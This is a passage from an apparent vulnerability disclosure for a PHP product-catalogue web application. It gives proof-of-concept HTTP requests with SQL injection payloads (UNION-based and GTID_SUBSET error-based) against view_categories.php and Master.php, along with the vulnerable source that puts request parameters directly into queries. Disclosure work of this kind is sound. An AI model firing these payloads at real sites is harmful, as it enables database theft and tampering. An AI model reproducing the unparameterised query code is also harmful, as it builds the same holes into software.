    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    

**Sqlmap running results**

**Related Codes /view\_product.php**

    <?php 
     $products = $conn->query("SELECT p.*,b.name as bname FROM `products` p inner join brands b on p.brand_id = b.id where md5(p.id) = '{$_GET['id']}' ");
     if($products->num_rows > 0){
         foreach($products->fetch_assoc() as $k => $v){
             $$k= stripslashes($v);
         }
         $specs_qry = $conn->query("SELECT `meta_field`, `meta_value` FROM `specification_list`  where `product_id` = '{$id}'");
         $specs = array_column($specs_qry->fetch_all(MYSQLI_ASSOC), 'meta_value', 'meta_field');
        $upload_path = base_app.'/uploads/product_'.$id;
        $img = "";
        if(is_dir($upload_path)){
            $fileO = scandir($upload_path);
            if(isset($fileO[2]))
                $img = "uploads/product_".$id."/".$fileO[2];
            // var_dump($fileO);
        }
        $inventory = $conn->query("SELECT * FROM inventory where product_id = ".$id);
        $inv = array();
        while($ir = $inventory->fetch_assoc()){
            $inv[] = $ir;
        }
        $sold = $conn->query("SELECT SUM(ol.quantity) as sold FROM order_list ol inner join orders o on o.id = ol.order_id where ol.product_id='{$id}' and o.`status` != 4 ");
        $sold = $sold->num_rows > 0 ? $sold->fetch_assoc()['sold'] : 0;
     }
    ?>
    

**4.SQL injection vulnerability in view\_categories.php****Sample request POC #4**

    GET /?p=view_categories&c=' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x69424d474c4c6357514a6d7a5559647757794d756677554f7146785467646b666b466249504c776f,0x717a767871),NULL,NULL,NULL-- -&s= HTTP/1.1
    Host: 10.211.55.3:8001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    

**Sqlmap running results**

**Related Codes /view\_categories.php**

    <?php 
    $title = "All Product Categories";
    $sub_title = "";
    if(isset($_GET['c']) && isset($_GET['s'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $title = $cat_qry->fetch_assoc()['category'];
        }
     $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $sub_title = $sub_cat_qry->fetch_assoc()['sub_category'];
        }
    }
    elseif(isset($_GET['c'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $title = $cat_qry->fetch_assoc()['category'];
        }
    }
    elseif(isset($_GET['s'])){
        $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $title = $sub_cat_qry->fetch_assoc()['sub_category'];
        }
    }
    ?>
    

**5.SQL injection vulnerability in ./classes/Master.php****Sample request POC #5**

    POST /classes/Master.php?f=delete_category HTTP/1.1
    Host: 10.211.55.3:8001
    Cache-Control: no-cache
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 114
    
    id=' AND GTID_SUBSET(CONCAT(0x717a6a7071,(SELECT (ELT(3659=3659,1))),0x71707a7071),3659)-- Hjjr
    
    

**Sqlmap running results**

**Related Codes ./classes/Master.php**

    ...
    	function delete_category(){
    		extract($_POST);
    		$del = $this->conn->query("DELETE FROM `categories` where id = '{$id}'");
    		if($del){
    			$resp['status'] = 'success';
    			$this->settings->set_flashdata('success',"Category successfully deleted.");
    		}else{
    			$resp['status'] = 'failed';
    			$resp['error'] = $this->conn->error;
    		}
    		return json_encode($resp);
    
    	}
    ...

Tag

#chrome